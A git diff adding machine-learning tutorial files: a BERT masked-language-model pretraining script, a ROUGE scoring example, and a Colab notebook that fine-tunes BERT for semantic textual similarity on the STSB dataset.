+tokenizer = BertTokenizerFast.from_pretrained(model_path)
+
+def encode_with_truncation(examples):
+ """Mapping function to tokenize the sentences passed with truncation"""
+ return tokenizer(examples["text"], truncation=True, padding="max_length",
+ max_length=max_length, return_special_tokens_mask=True)
+
+def encode_without_truncation(examples):
+ """Mapping function to tokenize the sentences passed without truncation"""
+ return tokenizer(examples["text"], return_special_tokens_mask=True)
+
+# the encode function will depend on the truncate_longer_samples variable
+encode = encode_with_truncation if truncate_longer_samples else encode_without_truncation
+
+# tokenizing the train dataset
+train_dataset = d["train"].map(encode, batched=True)
+# tokenizing the testing dataset
+test_dataset = d["test"].map(encode, batched=True)
+
+if truncate_longer_samples:
+ # remove other columns and set input_ids and attention_mask as PyTorch tensors
+ train_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"])
+ test_dataset.set_format(type="torch", columns=["input_ids", "attention_mask"])
+else:
+ # remove other columns, and remain them as Python lists
+ test_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"])
+ train_dataset.set_format(columns=["input_ids", "attention_mask", "special_tokens_mask"])
+
+from itertools import chain
+# Main data processing function that will concatenate all texts from our dataset and generate chunks of
+# max_seq_length.
+# grabbed from: https://github.com/huggingface/transformers/blob/main/examples/pytorch/language-modeling/run_mlm.py
+def group_texts(examples):
+ # Concatenate all texts.
+ concatenated_examples = {k: list(chain(*examples[k])) for k in examples.keys()}
+ total_length = len(concatenated_examples[list(examples.keys())[0]])
+ # We drop the small remainder, we could add padding if the model supported it instead of this drop, you can
+ # customize this part to your needs.
+ if total_length >= max_length:
+ total_length = (total_length // max_length) * max_length
+ # Split by chunks of max_len.
+ result = {
+ k: [t[i : i + max_length] for i in range(0, total_length, max_length)]
+ for k, t in concatenated_examples.items()
+ }
+ return result
+
+# Note that with `batched=True`, this map processes 1,000 texts together, so group_texts throws away a
+# remainder for each of those groups of 1,000 texts. You can adjust that batch_size here but a higher value
+# might be slower to preprocess.
+#
+# To speed up this part, we use multiprocessing. See the documentation of the map method for more information:
+# https://huggingface.co/docs/datasets/package_reference/main_classes.html#datasets.Dataset.map
+if not truncate_longer_samples:
+ train_dataset = train_dataset.map(group_texts, batched=True,
+ desc=f"Grouping texts in chunks of {max_length}")
+ test_dataset = test_dataset.map(group_texts, batched=True,
+ desc=f"Grouping texts in chunks of {max_length}")
+ # convert them from lists to torch tensors
+ train_dataset.set_format("torch")
+ test_dataset.set_format("torch")
+
+len(train_dataset), len(test_dataset)
+
+# initialize the model with the config
+model_config = BertConfig(vocab_size=vocab_size, max_position_embeddings=max_length)
+model = BertForMaskedLM(config=model_config)
+
+# initialize the data collator, randomly masking 20% (default is 15%) of the tokens for the Masked Language
+# Modeling (MLM) task
+data_collator = DataCollatorForLanguageModeling(
+ tokenizer=tokenizer, mlm=True, mlm_probability=0.2
+)
+
+training_args = TrainingArguments(
+ output_dir=model_path, # output directory to where save model checkpoint
+ evaluation_strategy="steps", # evaluate each `logging_steps` steps
+ overwrite_output_dir=True,
+ num_train_epochs=10, # number of training epochs, feel free to tweak
+ per_device_train_batch_size=10, # the training batch size, put it as high as your GPU memory fits
+ gradient_accumulation_steps=8, # accumulating the gradients before updating the weights
+ per_device_eval_batch_size=64, # evaluation batch size
+ logging_steps=1000, # evaluate, log and save model checkpoints every 1000 step
+ save_steps=1000,
+ # load_best_model_at_end=True, # whether to load the best model (in terms of loss) at the end of training
+ # save_total_limit=3, # whether you don't have much space so you let only 3 model weights saved in the disk
+)
+
+# initialize the trainer and pass everything to it
+trainer = Trainer(
+ model=model,
+ args=training_args,
+ data_collator=data_collator,
+ train_dataset=train_dataset,
+ eval_dataset=test_dataset,
+)
+
+# train the model
+trainer.train()
+
+# when you load from pretrained
+model = BertForMaskedLM.from_pretrained(os.path.join(model_path, "checkpoint-6000"))
+tokenizer = BertTokenizerFast.from_pretrained(model_path)
+# or simply use pipeline
+fill_mask = pipeline("fill-mask", model=model, tokenizer=tokenizer)
+
+# perform predictions
+example = "It is known that [MASK] is the capital of Germany"
+for prediction in fill_mask(example):
+ print(prediction)
+
+# perform predictions
+examples = [
+ "Today's most trending hashtags on [MASK] is Donald Trump",
+ "The [MASK] was cloudy yesterday, but today it's rainy.",
+]
+for example in examples:
+ for prediction in fill_mask(example):
+ print(f"{prediction['sequence']}, confidence: {prediction['score']}")
+ print("="*50)
+
+!nvidia-smi
\ No newline at end of file
diff --git a/machine-learning/nlp/pretraining-bert/requirements.txt b/machine-learning/nlp/pretraining-bert/requirements.txt
new file mode 100644
index 00000000..8dd20daf
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/requirements.txt
@@ -0,0 +1,3 @@
+transformers==4.18.0
+datasets
+sentencepiece
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/README.md b/machine-learning/nlp/rouge-score/README.md
new file mode 100644
index 00000000..21d86a14
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/README.md
@@ -0,0 +1 @@
+# [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/requirements.txt b/machine-learning/nlp/rouge-score/requirements.txt
new file mode 100644
index 00000000..7f26c102
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/requirements.txt
@@ -0,0 +1 @@
+rouge-score
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/rouge.py b/machine-learning/nlp/rouge-score/rouge.py
new file mode 100644
index 00000000..4b00c4c7
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/rouge.py
@@ -0,0 +1,22 @@
+from rouge_score import rouge_scorer
+
+scorer = rouge_scorer.RougeScorer(['rouge1', 'rouge2', 'rougeL'], use_stemmer=True)
+
+# Single reference
+candidate_summary = "the cat was found under the bed"
+reference_summary = "the cat was under the bed"
+scores = scorer.score(reference_summary, candidate_summary)
+for key in scores:
+ print(f'{key}: {scores[key]}')
+
+# Multiple references
+candidate_summary = "the cat was found under the bed"
+reference_summaries = ["the cat was under the bed", "found a cat under the bed"]
+scores = {key: [] for key in ['rouge1', 'rouge2', 'rougeL']}
+for ref in reference_summaries:
+ temp_scores = scorer.score(ref, candidate_summary)
+ for key in temp_scores:
+ scores[key].append(temp_scores[key])
+
+for key in scores:
+ print(f'{key}:\n{scores[key]}')
\ No newline at end of file
diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..952a0f75
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb
@@ -0,0 +1,1010 @@
+{
+ "cells": [
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "E2Cu87RMWw-P"
+ },
+ "source": [
+ "### 1. Install and import the required packages"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "4Px8aik4VaOY"
+ },
+ "outputs": [],
+ "source": [
+ "!pip install transformers sentence-transformers datasets"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "RUsTXFi1bNRI"
+ },
+ "outputs": [],
+ "source": [
+ "from datasets import load_dataset\n",
+ "from sentence_transformers import SentenceTransformer, models\n",
+ "from transformers import BertTokenizer\n",
+ "from transformers import get_linear_schedule_with_warmup\n",
+ "import torch\n",
+ "from torch.optim import AdamW\n",
+ "from torch.utils.data import DataLoader\n",
+ "from tqdm import tqdm\n",
+ "import time\n",
+ "import datetime\n",
+ "import random\n",
+ "import numpy as np\n",
+ "import pandas as pd"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "zMdAdDQbzWmC"
+ },
+ "source": [
+ "### 2. Use Google Colab's GPU for training"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "wB7TNNSrziMu",
+ "outputId": "53715022-a7af-439f-f978-637799295f85"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "There are 1 GPU(s) available.\n",
+ "We will use the GPU: Tesla T4\n"
+ ]
+ }
+ ],
+ "source": [
+ "if torch.cuda.is_available(): \n",
+ " device = torch.device(\"cuda\")\n",
+ " print(f'There are {torch.cuda.device_count()} GPU(s) available.')\n",
+ " print('We will use the GPU:', torch.cuda.get_device_name(0))\n",
+ "else:\n",
+ " print('No GPU available, using the CPU instead.')\n",
+ " device = torch.device(\"cpu\")"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "kQ1Eel-3W-5b"
+ },
+ "source": [
+ "### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "mgwlDDjtWM71"
+ },
+ "outputs": [],
+ "source": [
+ "# Load the English version of the STSB dataset\n",
+ "dataset = load_dataset(\"stsb_multi_mt\", \"en\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "BtUWgi0h_DjR",
+ "outputId": "bcd36c5b-7a37-4c8c-8bb5-8a46e7ed4d5c"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "DatasetDict({\n",
+ " train: Dataset({\n",
+ " features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+ " num_rows: 5749\n",
+ " })\n",
+ " test: Dataset({\n",
+ " features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+ " num_rows: 1379\n",
+ " })\n",
+ " dev: Dataset({\n",
+ " features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+ " num_rows: 1500\n",
+ " })\n",
+ "})\n"
+ ]
+ }
+ ],
+ "source": [
+ "print(dataset)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "FEHZl4WeWv6r",
+ "outputId": "69885fad-1282-48e8-ab5e-29da8c548a85"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "A sample from the STSB dataset's training split:\n",
+ "{'sentence1': 'A man is slicing potatoes.', 'sentence2': 'A woman is peeling potato.', 'similarity_score': 2.200000047683716}\n"
+ ]
+ }
+ ],
+ "source": [
+ "print(\"A sample from the STSB dataset's training split:\")\n",
+ "print(dataset['train'][98])"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "OjMKsIuxYv6D"
+ },
+ "source": [
+ "### **4.** Define the dataset loader class\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "f2Hc2uwabgJa"
+ },
+ "outputs": [],
+ "source": [
+ "# Instantiate the BERT tokenizer\n",
+ "# You can use larger variants of the model, here we're using the base model\n",
+ "tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "uEI1p5-SaM8t"
+ },
+ "outputs": [],
+ "source": [
+ "class STSBDataset(torch.utils.data.Dataset):\n",
+ "\n",
+ " def __init__(self, dataset):\n",
+ "\n",
+ " # Normalize the similarity scores in the dataset\n",
+ " similarity_scores = [i['similarity_score'] for i in dataset]\n",
+ " self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]\n",
+ " self.first_sentences = [i['sentence1'] for i in dataset]\n",
+ " self.second_sentences = [i['sentence2'] for i in dataset]\n",
+ " self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]\n",
+ "\n",
+ " def __len__(self):\n",
+ "\n",
+ " return len(self.concatenated_sentences)\n",
+ "\n",
+ " def get_batch_labels(self, idx):\n",
+ "\n",
+ " return torch.tensor(self.normalized_similarity_scores[idx])\n",
+ "\n",
+ " def get_batch_texts(self, idx):\n",
+ "\n",
+ " return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\")\n",
+ "\n",
+ " def __getitem__(self, idx):\n",
+ "\n",
+ " batch_texts = self.get_batch_texts(idx)\n",
+ " batch_y = self.get_batch_labels(idx)\n",
+ "\n",
+ " return batch_texts, batch_y\n",
+ "\n",
+ "\n",
+ "def collate_fn(texts):\n",
+ "\n",
+ " input_ids = texts['input_ids']\n",
+ " attention_masks = texts['attention_mask']\n",
+ "\n",
+ " features = [{'input_ids': input_id, 'attention_mask': attention_mask}\n",
+ " for input_id, attention_mask in zip(input_ids, attention_masks)]\n",
+ "\n",
+ " return features"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "w9ICUkr20JbP"
+ },
+ "source": [
+ "### 5. Define the model class based on BERT"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "EgTYEHC8b7kb"
+ },
+ "outputs": [],
+ "source": [
+ "class BertForSTS(torch.nn.Module):\n",
+ "\n",
+ " def __init__(self):\n",
+ "\n",
+ " super(BertForSTS, self).__init__()\n",
+ " self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)\n",
+ " self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())\n",
+ " self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])\n",
+ "\n",
+ " def forward(self, input_data):\n",
+ " output = self.sts_bert(input_data)['sentence_embedding']\n",
+ " return output"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "yMNCebmb4Hlt"
+ },
+ "outputs": [],
+ "source": [
+ "# Instantiate the model and move it to GPU\n",
+ "model = BertForSTS()\n",
+ "model.to(device)"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "IXqIA_D_2nYC"
+ },
+ "source": [
+ "### 6. Define the Cosine Similarity loss function"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "ty7Q630Ob96f"
+ },
+ "outputs": [],
+ "source": [
+ "class CosineSimilarityLoss(torch.nn.Module):\n",
+ "\n",
+ " def __init__(self, loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):\n",
+ " super(CosineSimilarityLoss, self).__init__()\n",
+ " self.loss_fn = loss_fn\n",
+ " self.transform_fn = transform_fn\n",
+ " self.cos_similarity = torch.nn.CosineSimilarity(dim=1)\n",
+ "\n",
+ " def forward(self, inputs, labels):\n",
+ " emb_1 = torch.stack([inp[0] for inp in inputs])\n",
+ " emb_2 = torch.stack([inp[1] for inp in inputs])\n",
+ " outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))\n",
+ " return self.loss_fn(outputs, labels.squeeze())"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "B688H4qY26ZG"
+ },
+ "source": [
+ "### 7. Prepare the training and validation data split"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "PrQvEJgC4VeB",
+ "outputId": "2ce3100a-727a-4909-9481-7d6ff0464c12"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "5,749 training samples\n",
+ "1,500 validation samples\n"
+ ]
+ }
+ ],
+ "source": [
+ "train_ds = STSBDataset(dataset['train'])\n",
+ "val_ds = STSBDataset(dataset['dev'])\n",
+ "\n",
+ "# Create a 90-10 train-validation split.\n",
+ "train_size = len(train_ds)\n",
+ "val_size = len(val_ds)\n",
+ "\n",
+ "print('{:>5,} training samples'.format(train_size))\n",
+ "print('{:>5,} validation samples'.format(val_size))"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "eUPorlzExygm"
+ },
+ "outputs": [],
+ "source": [
+ "batch_size = 8\n",
+ "\n",
+ "train_dataloader = DataLoader(\n",
+ " train_ds, # The training samples.\n",
+ " num_workers = 4,\n",
+ " batch_size = batch_size, # Use this batch size.\n",
+ " shuffle=True # Select samples randomly for each batch\n",
+ " )\n",
+ "\n",
+ "validation_dataloader = DataLoader(\n",
+ " val_ds,\n",
+ " num_workers = 4,\n",
+ " batch_size = batch_size # Use the same batch size\n",
+ " )"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "5avkJtGn2-al"
+ },
+ "source": [
+ "### 8. Define the Optimizer and Scheduler"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "lB_HcVbl3EZw"
+ },
+ "outputs": [],
+ "source": [
+ "optimizer = AdamW(model.parameters(),\n",
+ " lr = 1e-6)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "RVT3cA_-3NPP"
+ },
+ "outputs": [],
+ "source": [
+ "epochs = 8\n",
+ "\n",
+ "# Total number of training steps is [number of batches] x [number of epochs]. \n",
+ "total_steps = len(train_dataloader) * epochs\n",
+ "\n",
+ "scheduler = get_linear_schedule_with_warmup(optimizer, \n",
+ " num_warmup_steps = 0,\n",
+ " num_training_steps = total_steps)"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "zyIxF_7J3ep5"
+ },
+ "source": [
+ "### 9. Define a helper function for formatting the elapsed training time as `hh:mm:ss`"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "JH7_0ASp3oDW"
+ },
+ "outputs": [],
+ "source": [
+ "# Takes a time in seconds and returns a string hh:mm:ss\n",
+ "def format_time(elapsed):\n",
+ " # Round to the nearest second.\n",
+ " elapsed_rounded = int(round((elapsed)))\n",
+ " \n",
+ " # Format as hh:mm:ss\n",
+ " return str(datetime.timedelta(seconds=elapsed_rounded))"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "jJFhpUJp92Qe"
+ },
+ "source": [
+ "### 10. Define the training function, and start the training loop"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "vdeUXU915NE5"
+ },
+ "outputs": [],
+ "source": [
+ "def train():\n",
+ " seed_val = 42\n",
+ "\n",
+ " criterion = CosineSimilarityLoss()\n",
+ " criterion = criterion.to(device)\n",
+ "\n",
+ " random.seed(seed_val)\n",
+ " torch.manual_seed(seed_val)\n",
+ "\n",
+ " # We'll store a number of quantities such as training and validation loss, \n",
+ " # validation accuracy, and timings.\n",
+ " training_stats = []\n",
+ " total_t0 = time.time()\n",
+ "\n",
+ " for epoch_i in range(0, epochs):\n",
+ " \n",
+ " # ========================================\n",
+ " # Training\n",
+ " # ========================================\n",
+ "\n",
+ " print(\"\")\n",
+ " print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n",
+ " print('Training...')\n",
+ "\n",
+ " t0 = time.time()\n",
+ "\n",
+ " total_train_loss = 0\n",
+ "\n",
+ " model.train()\n",
+ "\n",
+ " # For each batch of training data...\n",
+ " for train_data, train_label in tqdm(train_dataloader):\n",
+ "\n",
+ " train_data['input_ids'] = train_data['input_ids'].to(device)\n",
+ " train_data['attention_mask'] = train_data['attention_mask'].to(device)\n",
+ "\n",
+ " train_data = collate_fn(train_data)\n",
+ " model.zero_grad()\n",
+ "\n",
+ " output = [model(feature) for feature in train_data]\n",
+ "\n",
+ " loss = criterion(output, train_label.to(device))\n",
+ " total_train_loss += loss.item()\n",
+ "\n",
+ " loss.backward()\n",
+ " torch.nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n",
+ " optimizer.step()\n",
+ " scheduler.step()\n",
+ "\n",
+ " \n",
+ " # Calculate the average loss over all of the batches.\n",
+ " avg_train_loss = total_train_loss / len(train_dataloader) \n",
+ " \n",
+ " # Measure how long this epoch took.\n",
+ " training_time = format_time(time.time() - t0)\n",
+ "\n",
+ " print(\"\")\n",
+ " print(\" Average training loss: {0:.5f}\".format(avg_train_loss))\n",
+ " print(\" Training epoch took: {:}\".format(training_time))\n",
+ " \n",
+ " # ========================================\n",
+ " # Validation\n",
+ " # ========================================\n",
+ "\n",
+ " print(\"\")\n",
+ " print(\"Running Validation...\")\n",
+ "\n",
+ " t0 = time.time()\n",
+ "\n",
+ " model.eval()\n",
+ "\n",
+ " total_eval_accuracy = 0\n",
+ " total_eval_loss = 0\n",
+ " nb_eval_steps = 0\n",
+ "\n",
+ " # Evaluate data for one epoch\n",
+ " for val_data, val_label in tqdm(validation_dataloader):\n",
+ "\n",
+ " val_data['input_ids'] = val_data['input_ids'].to(device)\n",
+ " val_data['attention_mask'] = val_data['attention_mask'].to(device)\n",
+ "\n",
+ " val_data = collate_fn(val_data)\n",
+ "\n",
+ " with torch.no_grad(): \n",
+ " output = [model(feature) for feature in val_data]\n",
+ "\n",
+ " loss = criterion(output, val_label.to(device))\n",
+ " total_eval_loss += loss.item()\n",
+ "\n",
+ " # Calculate the average loss over all of the batches.\n",
+ " avg_val_loss = total_eval_loss / len(validation_dataloader)\n",
+ " \n",
+ " # Measure how long the validation run took.\n",
+ " validation_time = format_time(time.time() - t0)\n",
+ " \n",
+ " print(\" Validation Loss: {0:.5f}\".format(avg_val_loss))\n",
+ " print(\" Validation took: {:}\".format(validation_time))\n",
+ "\n",
+ " # Record all statistics from this epoch.\n",
+ " training_stats.append(\n",
+ " {\n",
+ " 'epoch': epoch_i + 1,\n",
+ " 'Training Loss': avg_train_loss,\n",
+ " 'Valid. Loss': avg_val_loss,\n",
+ " 'Training Time': training_time,\n",
+ " 'Validation Time': validation_time\n",
+ " }\n",
+ " )\n",
+ "\n",
+ " print(\"\")\n",
+ " print(\"Training complete!\")\n",
+ "\n",
+ " print(\"Total training took {:} (h:mm:ss)\".format(format_time(time.time()-total_t0)))\n",
+ "\n",
+ " return model, training_stats"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "CoWW_TnZgSRf"
+ },
+ "outputs": [],
+ "source": [
+ "# Launch the training\n",
+ "model, training_stats = train()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 331
+ },
+ "id": "nEgMWBU7fzXh",
+ "outputId": "2adcb8b2-7fb3-422e-d08e-cf701c0240cf"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/html": [
+ "\n",
+ " \n",
+ "
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+ "
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+ "\n",
+ "
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+ " Training Loss \n",
+ " Valid. Loss \n",
+ " Training Time \n",
+ " Validation Time \n",
+ " \n",
+ " \n",
+ " epoch \n",
+ " \n",
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+ " 0:00:28 \n",
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+ " 5 \n",
+ " 0.023217 \n",
+ " 0.030802 \n",
+ " 0:05:27 \n",
+ " 0:00:28 \n",
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+ " 0:05:28 \n",
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+ "\n",
+ " \n",
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+ "
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+ " "
+ ],
+ "text/plain": [
+ " Training Loss Valid. Loss Training Time Validation Time\n",
+ "epoch \n",
+ "1 0.032639 0.037972 0:05:29 0:00:28\n",
+ "2 0.030737 0.035472 0:05:28 0:00:28\n",
+ "3 0.027920 0.033640 0:05:29 0:00:28\n",
+ "4 0.025090 0.032185 0:05:29 0:00:28\n",
+ "5 0.023217 0.030802 0:05:27 0:00:28\n",
+ "6 0.021199 0.030223 0:05:29 0:00:28\n",
+ "7 0.019567 0.029389 0:05:28 0:00:28\n",
+ "8 0.017866 0.028664 0:05:29 0:00:28"
+ ]
+ },
+ "execution_count": 31,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# Create a DataFrame from our training statistics\n",
+ "df_stats = pd.DataFrame(data=training_stats)\n",
+ "\n",
+ "# Use the 'epoch' as the row index\n",
+ "df_stats = df_stats.set_index('epoch')\n",
+ "\n",
+ "# Display the table\n",
+ "df_stats"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "X7ahIyP4zsXp",
+ "outputId": "ddd2fa70-5a34-4db3-b6ee-b784d59bfb2d"
+ },
+ "outputs": [
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "WARNING:datasets.builder:Found cached dataset stsb_multi_mt (/root/.cache/huggingface/datasets/stsb_multi_mt/en/1.0.0/a5d260e4b7aa82d1ab7379523a005a366d9b124c76a5a5cf0c4c5365458b0ba9)\n"
+ ]
+ }
+ ],
+ "source": [
+ "test_dataset = load_dataset(\"stsb_multi_mt\", name=\"en\", split=\"test\")\n",
+ "\n",
+ "# Prepare the data\n",
+ "first_sent = [i['sentence1'] for i in test_dataset]\n",
+ "second_sent = [i['sentence2'] for i in test_dataset]\n",
+ "full_text = [[str(x), str(y)] for x,y in zip(first_sent, second_sent)]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "wD7oPneMkUhe"
+ },
+ "outputs": [],
+ "source": [
+ "model.eval()\n",
+ "\n",
+ "def predict_similarity(sentence_pair):\n",
+ " \n",
+ " test_input = tokenizer(sentence_pair, padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\").to(device)\n",
+ " test_input['input_ids'] = test_input['input_ids']\n",
+ " test_input['attention_mask'] = test_input['attention_mask']\n",
+ " del test_input['token_type_ids']\n",
+ "\n",
+ " output = model(test_input)\n",
+ " sim = torch.nn.functional.cosine_similarity(output[0], output[1], dim=0).item()\n",
+ "\n",
+ " return sim"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "e-lGkcofz6hS",
+ "outputId": "dd20141d-0496-4426-a97d-0c020612106d"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Sentence 1: A cat is walking around a house.\n",
+ "Sentence 2: A woman is peeling potato.\n",
+ "Predicted similarity score: 0.01\n"
+ ]
+ }
+ ],
+ "source": [
+ "example_1 = full_text[100]\n",
+ "print(f\"Sentence 1: {example_1[0]}\")\n",
+ "print(f\"Sentence 2: {example_1[1]}\")\n",
+ "print(f\"Predicted similarity score: {round(predict_similarity(example_1), 2)}\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "ViwfU0M2DOgh",
+ "outputId": "e677ea0a-4ac8-4d38-e0d8-06baa71bbcb9"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Sentence 1: Two men are playing football.\n",
+ "Sentence 2: Two men are practicing football.\n",
+ "Predicted similarity score: 0.84\n"
+ ]
+ }
+ ],
+ "source": [
+ "example_2 = full_text[130]\n",
+ "print(f\"Sentence 1: {example_2[0]}\")\n",
+ "print(f\"Sentence 2: {example_2[1]}\")\n",
+ "print(f\"Predicted similarity score: {round(predict_similarity(example_2), 2)}\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "sGn-H7ARDnBG",
+ "outputId": "ea5b057d-40f4-4c9c-896e-ebe6223a6635"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Sentence 1: It varies by the situation.\n",
+ "Sentence 2: This varies by institution.\n",
+ "Predicted similarity score: 0.6\n"
+ ]
+ }
+ ],
+ "source": [
+ "example_3 = full_text[812]\n",
+ "print(f\"Sentence 1: {example_3[0]}\")\n",
+ "print(f\"Sentence 2: {example_3[1]}\")\n",
+ "print(f\"Predicted similarity score: {round(predict_similarity(example_3), 2)}\")"
+ ]
+ },
+ {
+ "attachments": {},
+ "cell_type": "markdown",
+ "metadata": {
+ "id": "_XovRH0VkXXs"
+ },
+ "source": [
+ "### Last but not least, save your model!"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "Om3wskAQkaJP"
+ },
+ "outputs": [],
+ "source": [
+ "PATH = 'your/path/here'\n",
+ "torch.save(model.state_dict(), PATH)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "wCe1I2soj-Kj"
+ },
+ "outputs": [],
+ "source": [
+ "# In order to load the model\n",
+ "# First, you have to create an instance of the model's class\n",
+ "# And use the saving path for the loading\n",
+ "# Don't forget to set the model to the evaluation state using .eval()\n",
+ "\n",
+ "model = BertForSTS()\n",
+ "model.load_state_dict(torch.load(PATH))\n",
+ "model.eval()"
+ ]
+ }
+ ],
+ "metadata": {
+ "accelerator": "GPU",
+ "colab": {
+ "gpuType": "T4",
+ "provenance": []
+ },
+ "gpuClass": "standard",
+ "kernelspec": {
+ "display_name": "Python 3",
+ "name": "python3"
+ },
+ "language_info": {
+ "name": "python",
+ "version": "3.9.12"
+ }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 0
+}
